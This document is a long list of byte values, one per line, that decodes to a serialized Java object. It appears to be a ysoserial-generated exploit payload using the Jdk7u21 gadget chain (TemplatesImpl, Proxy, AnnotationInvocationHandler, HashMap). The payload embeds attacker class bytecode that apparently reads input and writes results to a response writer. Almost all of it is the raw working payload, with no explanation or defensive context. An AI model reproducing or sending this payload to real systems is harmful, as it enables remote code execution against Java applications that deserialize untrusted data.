- 0
-
-
- -104
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 76
-
-
- 105
-
-
- 110
-
-
- 101
-
-
- 12
-
-
- 0
-
-
- -102
-
-
- 0
-
-
- 90
-
-
- 10
-
-
- 0
-
-
- -119
-
-
- 0
-
-
- -101
-
-
- 1
-
-
- 0
-
-
- 9
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 87
-
-
- 114
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 1
-
-
- 0
-
-
- 23
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 87
-
-
- 114
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- -99
-
-
- 0
-
-
- -98
-
-
- 10
-
-
- 0
-
-
- 69
-
-
- 0
-
-
- -97
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 87
-
-
- 114
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 7
-
-
- 0
-
-
- -95
-
-
- 1
-
-
- 0
-
-
- 5
-
-
- 119
-
-
- 114
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 12
-
-
- 0
-
-
- -93
-
-
- 0
-
-
- 71
-
-
- 10
-
-
- 0
-
-
- -94
-
-
- 0
-
-
- -92
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 69
-
-
- 120
-
-
- 99
-
-
- 101
-
-
- 112
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 7
-
-
- 0
-
-
- -90
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 111
-
-
- 117
-
-
- 116
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- -88
-
-
- 0
-
-
- -87
-
-
- 9
-
-
- 0
-
-
- 107
-
-
- 0
-
-
- -86
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 84
-
-
- 104
-
-
- 114
-
-
- 111
-
-
- 119
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 7
-
-
- 0
-
-
- -84
-
-
- 10
-
-
- 0
-
-
- -83
-
-
- 0
-
-
- 91
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 7
-
-
- 0
-
-
- -81
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 112
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 108
-
-
- 110
-
-
- 12
-
-
- 0
-
-
- -79
-
-
- 0
-
-
- 71
-
-
- 10
-
-
- 0
-
-
- -80
-
-
- 0
-
-
- -78
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 112
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 97
-
-
- 99
-
-
- 107
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 99
-
-
- 101
-
-
- 12
-
-
- 0
-
-
- -76
-
-
- 0
-
-
- 11
-
-
- 10
-
-
- 0
-
-
- -83
-
-
- 0
-
-
- -75
-
-
- 1
-
-
- 0
-
-
- 13
-
-
- 83
-
-
- 116
-
-
- 97
-
-
- 99
-
-
- 107
-
-
- 77
-
-
- 97
-
-
- 112
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 29
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 80
-
-
- 119
-
-
- 110
-
-
- 101
-
-
- 114
-
-
- 52
-
-
- 53
-
-
- 52
-
-
- 51
-
-
- 56
-
-
- 51
-
-
- 49
-
-
- 52
-
-
- 50
-
-
- 55
-
-
- 56
-
-
- 57
-
-
- 57
-
-
- 50
-
-
- 1
-
-
- 0
-
-
- 31
-
-
- 76
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 80
-
-
- 119
-
-
- 110
-
-
- 101
-
-
- 114
-
-
- 52
-
-
- 53
-
-
- 52
-
-
- 51
-
-
- 56
-
-
- 51
-
-
- 49
-
-
- 52
-
-
- 50
-
-
- 55
-
-
- 56
-
-
- 57
-
-
- 57
-
-
- 50
-
-
- 59
-
-
- 0
-
-
- 33
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 26
-
-
- 0
-
-
- 5
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 8
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 11
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 47
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 5
-
-
- 42
-
-
- -73
-
-
- 0
-
-
- 1
-
-
- -79
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 13
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 47
-
-
- 0
-
-
- 14
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 5
-
-
- 0
-
-
- 15
-
-
- 0
-
-
- -71
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 0
-
-
- 20
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 63
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- -79
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 13
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 52
-
-
- 0
-
-
- 14
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 32
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 0
-
-
- -71
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 0
-
-
- 22
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 23
-
-
- 0
-
-
- 24
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 25
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 26
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 0
-
-
- 27
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 73
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- -79
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 13
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 56
-
-
- 0
-
-
- 14
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 42
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 0
-
-
- -71
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 0
-
-
- 22
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 28
-
-
- 0
-
-
- 29
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 30
-
-
- 0
-
-
- 31
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 25
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 26
-
-
- 0
-
-
- 8
-
-
- 0
-
-
- 41
-
-
- 0
-
-
- 11
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 114
-
-
- 0
-
-
- 7
-
-
- 0
-
-
- 11
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 18
-
-
- -89
-
-
- 0
-
-
- 3
-
-
- 1
-
-
- 76
-
-
- -72
-
-
- 0
-
-
- 47
-
-
- -64
-
-
- 0
-
-
- 49
-
-
- -74
-
-
- 0
-
-
- 53
-
-
- -64
-
-
- 0
-
-
- 55
-
-
- 18
-
-
- 57
-
-
- -74
-
-
- 0
-
-
- 61
-
-
- 77
-
-
- -72
-
-
- 0
-
-
- 47
-
-
- -64
-
-
- 0
-
-
- 49
-
-
- -74
-
-
- 0
-
-
- 53
-
-
- -64
-
-
- 0
-
-
- 55
-
-
- -74
-
-
- 0
-
-
- 65
-
-
- 78
-
-
- 45
-
-
- 18
-
-
- 67
-
-
- -74
-
-
- 0
-
-
- 73
-
-
- 45
-
-
- -74
-
-
- 0
-
-
- 77
-
-
- 58
-
-
- 4
-
-
- 25
-
-
- 4
-
-
- -69
-
-
- 0
-
-
- 79
-
-
- 89
-
-
- -69
-
-
- 0
-
-
- 81
-
-
- 89
-
-
- -73
-
-
- 0
-
-
- 82
-
-
- 44
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- 18
-
-
- 88
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- -74
-
-
- 0
-
-
- 92
-
-
- -73
-
-
- 0
-
-
- 94
-
-
- -74
-
-
- 0
-
-
- 100
-
-
- 25
-
-
- 4
-
-
- -74
-
-
- 0
-
-
- 103
-
-
- 18
-
-
- 105
-
-
- -72
-
-
- 0
-
-
- 110
-
-
- 58
-
-
- 5
-
-
- 25
-
-
- 5
-
-
- 1
-
-
- -91
-
-
- 0
-
-
- 16
-
-
- 25
-
-
- 5
-
-
- -74
-
-
- 0
-
-
- 115
-
-
- 18
-
-
- 117
-
-
- -74
-
-
- 0
-
-
- 121
-
-
- -102
-
-
- 0
-
-
- 6
-
-
- -89
-
-
- 0
-
-
- 33
-
-
- -72
-
-
- 0
-
-
- 127
-
-
- -69
-
-
- 0
-
-
- 81
-
-
- 89
-
-
- -73
-
-
- 0
-
-
- 82
-
-
- 18
-
-
- -127
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- 44
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- -74
-
-
- 0
-
-
- 92
-
-
- -74
-
-
- 0
-
-
- -123
-
-
- 58
-
-
- 6
-
-
- -89
-
-
- 0
-
-
- 30
-
-
- -72
-
-
- 0
-
-
- 127
-
-
- -69
-
-
- 0
-
-
- 81
-
-
- 89
-
-
- -73
-
-
- 0
-
-
- 82
-
-
- 18
-
-
- -121
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- 44
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- -74
-
-
- 0
-
-
- 92
-
-
- -74
-
-
- 0
-
-
- -123
-
-
- 58
-
-
- 6
-
-
- -69
-
-
- 0
-
-
- -119
-
-
- 89
-
-
- -69
-
-
- 0
-
-
- -117
-
-
- 89
-
-
- 25
-
-
- 6
-
-
- -74
-
-
- 0
-
-
- -111
-
-
- 18
-
-
- 67
-
-
- -73
-
-
- 0
-
-
- -108
-
-
- -73
-
-
- 0
-
-
- -105
-
-
- 58
-
-
- 7
-
-
- 1
-
-
- 58
-
-
- 8
-
-
- 18
-
-
- -103
-
-
- 58
-
-
- 9
-
-
- -89
-
-
- 0
-
-
- 25
-
-
- -69
-
-
- 0
-
-
- 81
-
-
- 89
-
-
- -73
-
-
- 0
-
-
- 82
-
-
- 25
-
-
- 9
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- 25
-
-
- 8
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- -74
-
-
- 0
-
-
- 92
-
-
- 58
-
-
- 9
-
-
- 25
-
-
- 7
-
-
- -74
-
-
- 0
-
-
- -100
-
-
- 89
-
-
- 58
-
-
- 8
-
-
- 1
-
-
- -90
-
-
- -1
-
-
- -31
-
-
- 45
-
-
- -74
-
-
- 0
-
-
- -96
-
-
- 25
-
-
- 9
-
-
- -74
-
-
- 0
-
-
- -91
-
-
- -89
-
-
- 0
-
-
- 24
-
-
- 58
-
-
- 10
-
-
- -78
-
-
- 0
-
-
- -85
-
-
- 25
-
-
- 10
-
-
- -74
-
-
- 0
-
-
- -82
-
-
- -74
-
-
- 0
-
-
- -77
-
-
- 25
-
-
- 10
-
-
- -74
-
-
- 0
-
-
- -74
-
-
- -89
-
-
- 0
-
-
- 3
-
-
- -79
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 94
-
-
- 0
-
-
- -7
-
-
- 0
-
-
- -4
-
-
- 0
-
-
- -89
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- -73
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 70
-
-
- 0
-
-
- 9
-
-
- 3
-
-
- -1
-
-
- 0
-
-
- 109
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 5
-
-
- 7
-
-
- 0
-
-
- 112
-
-
- 7
-
-
- 0
-
-
- 69
-
-
- 7
-
-
- 0
-
-
- 96
-
-
- 7
-
-
- 0
-
-
- 112
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 29
-
-
- -4
-
-
- 0
-
-
- 26
-
-
- 7
-
-
- 0
-
-
- -115
-
-
- -2
-
-
- 0
-
-
- 32
-
-
- 7
-
-
- 0
-
-
- -119
-
-
- 7
-
-
- 0
-
-
- 112
-
-
- 7
-
-
- 0
-
-
- 112
-
-
- 21
-
-
- -1
-
-
- 0
-
-
- 23
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 5
-
-
- 7
-
-
- 0
-
-
- 112
-
-
- 7
-
-
- 0
-
-
- 69
-
-
- 7
-
-
- 0
-
-
- 96
-
-
- 7
-
-
- 0
-
-
- 112
-
-
- 0
-
-
- 1
-
-
- 7
-
-
- 0
-
-
- -89
-
-
- 20
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 32
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 33
-
-
- 0
-
-
- 17
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 35
-
-
- 0
-
-
- 16
-
-
- 0
-
-
- 9
-
-
- 117
-
-
- 113
-
-
- 0
-
-
- 126
-
-
- 0
-
-
- 13
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- -44
-
-
- -54
-
-
- -2
-
-
- -70
-
-
- -66
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 50
-
-
- 0
-
-
- 27
-
-
- 10
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 21
-
-
- 7
-
-
- 0
-
-
- 23
-
-
- 7
-
-
- 0
-
-
- 24
-
-
- 7
-
-
- 0
-
-
- 25
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 86
-
-
- 101
-
-
- 114
-
-
- 115
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 85
-
-
- 73
-
-
- 68
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 74
-
-
- 1
-
-
- 0
-
-
- 13
-
-
- 67
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 116
-
-
- 97
-
-
- 110
-
-
- 116
-
-
- 86
-
-
- 97
-
-
- 108
-
-
- 117
-
-
- 101
-
-
- 5
-
-
- 113
-
-
- -26
-
-
- 105
-
-
- -18
-
-
- 60
-
-
- 109
-
-
- 71
-
-
- 24
-
-
- 1
-
-
- 0
-
-
- 6
-
-
- 60
-
-
- 105
-
-
- 110
-
-
- 105
-
-
- 116
-
-
- 62
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 40
-
-
- 41
-
-
- 86
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 67
-
-
- 111
-
-
- 100
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 76
-
-
- 105
-
-
- 110
-
-
- 101
-
-
- 78
-
-
- 117
-
-
- 109
-
-
- 98
-
-
- 101
-
-
- 114
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 18
-
-
- 76
-
-
- 111
-
-
- 99
-
-
- 97
-
-
- 108
-
-
- 86
-
-
- 97
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 116
-
-
- 104
-
-
- 105
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 70
-
-
- 111
-
-
- 111
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 73
-
-
- 110
-
-
- 110
-
-
- 101
-
-
- 114
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 101
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 37
-
-
- 76
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 36
-
-
- 70
-
-
- 111
-
-
- 111
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 83
-
-
- 111
-
-
- 117
-
-
- 114
-
-
- 99
-
-
- 101
-
-
- 70
-
-
- 105
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 46
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 12
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 11
-
-
- 7
-
-
- 0
-
-
- 26
-
-
- 1
-
-
- 0
-
-
- 35
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 36
-
-
- 70
-
-
- 111
-
-
- 111
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 79
-
-
- 98
-
-
- 106
-
-
- 101
-
-
- 99
-
-
- 116
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 31
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 0
-
-
- 33
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 26
-
-
- 0
-
-
- 5
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 8
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 11
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 47
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 5
-
-
- 42
-
-
- -73
-
-
- 0
-
-
- 1
-
-
- -79
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 13
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 60
-
-
- 0
-
-
- 14
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 5
-
-
- 0
-
-
- 15
-
-
- 0
-
-
- 18
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 19
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 20
-
-
- 0
-
-
- 17
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 22
-
-
- 0
-
-
- 16
-
-
- 0
-
-
- 9
-
-
- 112
-
-
- 116
-
-
- 0
-
-
- 4
-
-
- 80
-
-
- 119
-
-
- 110
-
-
- 114
-
-
- 112
-
-
- 119
-
-
- 1
-
-
- 0
-
-
- 120
-
-
- 115
-
-
- 125
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 29
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 120
-
-
- 46
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 46
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 102
-
-
- 111
-
-
- 114
-
-
- 109
-
-
- 46
-
-
- 84
-
-
- 101
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 97
-
-
- 116
-
-
- 101
-
-
- 115
-
-
- 120
-
-
- 114
-
-
- 0
-
-
- 23
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 46
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 46
-
-
- 114
-
-
- 101
-
-
- 102
-
-
- 108
-
-
- 101
-
-
- 99
-
-
- 116
-
-
- 46
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 120
-
-
- 121
-
-
- -31
-
-
- 39
-
-
- -38
-
-
- 32
-
-
- -52
-
-
- 16
-
-
- 67
-
-
- -53
-
-
- 2
-
-
- 0
-
-
- 1
-
-
- 76
-
-
- 0
-
-
- 1
-
-
- 104
-
-
- 116
-
-
- 0
-
-
- 37
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 114
-
-
- 101
-
-
- 102
-
-
- 108
-
-
- 101
-
-
- 99
-
-
- 116
-
-
- 47
-
-
- 73
-
-
- 110
-
-
- 118
-
-
- 111
-
-
- 99
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 120
-
-
- 112
-
-
- 115
-
-
- 114
-
-
- 0
-
-
- 50
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 46
-
-
- 114
-
-
- 101
-
-
- 102
-
-
- 108
-
-
- 101
-
-
- 99
-
-
- 116
-
-
- 46
-
-
- 97
-
-
- 110
-
-
- 110
-
-
- 111
-
-
- 116
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 46
-
-
- 65
-
-
- 110
-
-
- 110
-
-
- 111
-
-
- 116
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 73
-
-
- 110
-
-
- 118
-
-
- 111
-
-
- 99
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 85
-
-
- -54
-
-
- -11
-
-
- 15
-
-
- 21
-
-
- -53
-
-
- 126
-
-
- -91
-
-
- 2
-
-
- 0
-
-
- 2
-
-
- 76
-
-
- 0
-
-
- 12
-
-
- 109
-
-
- 101
-
-
- 109
-
-
- 98
-
-
- 101
-
-
- 114
-
-
- 86
-
-
- 97
-
-
- 108
-
-
- 117
-
-
- 101
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 15
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 77
-
-
- 97
-
-
- 112
-
-
- 59
-
-
- 76
-
-
- 0
-
-
- 4
-
-
- 116
-
-
- 121
-
-
- 112
-
-
- 101
-
-
- 116
-
-
- 0
-
-
- 17
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 59
-
-
- 120
-
-
- 112
-
-
- 115
-
-
- 114
-
-
- 0
-
-
- 17
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 46
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 46
-
-
- 72
-
-
- 97
-
-
- 115
-
-
- 104
-
-
- 77
-
-
- 97
-
-
- 112
-
-
- 5
-
-
- 7
-
-
- -38
-
-
- -63
-
-
- -61
-
-
- 22
-
-
- 96
-
-
- -47
-
-
- 3
-
-
- 0
-
-
- 2
-
-
- 70
-
-
- 0
-
-
- 10
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 70
-
-
- 97
-
-
- 99
-
-
- 116
-
-
- 111
-
-
- 114
-
-
- 73
-
-
- 0
-
-
- 9
-
-
- 116
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 115
-
-
- 104
-
-
- 111
-
-
- 108
-
-
- 100
-
-
- 120
-
-
- 112
-
-
- 63
-
-
- 64
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 12
-
-
- 119
-
-
- 8
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 16
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 116
-
-
- 0
-
-
- 8
-
-
- 102
-
-
- 53
-
-
- 97
-
-
- 53
-
-
- 97
-
-
- 54
-
-
- 48
-
-
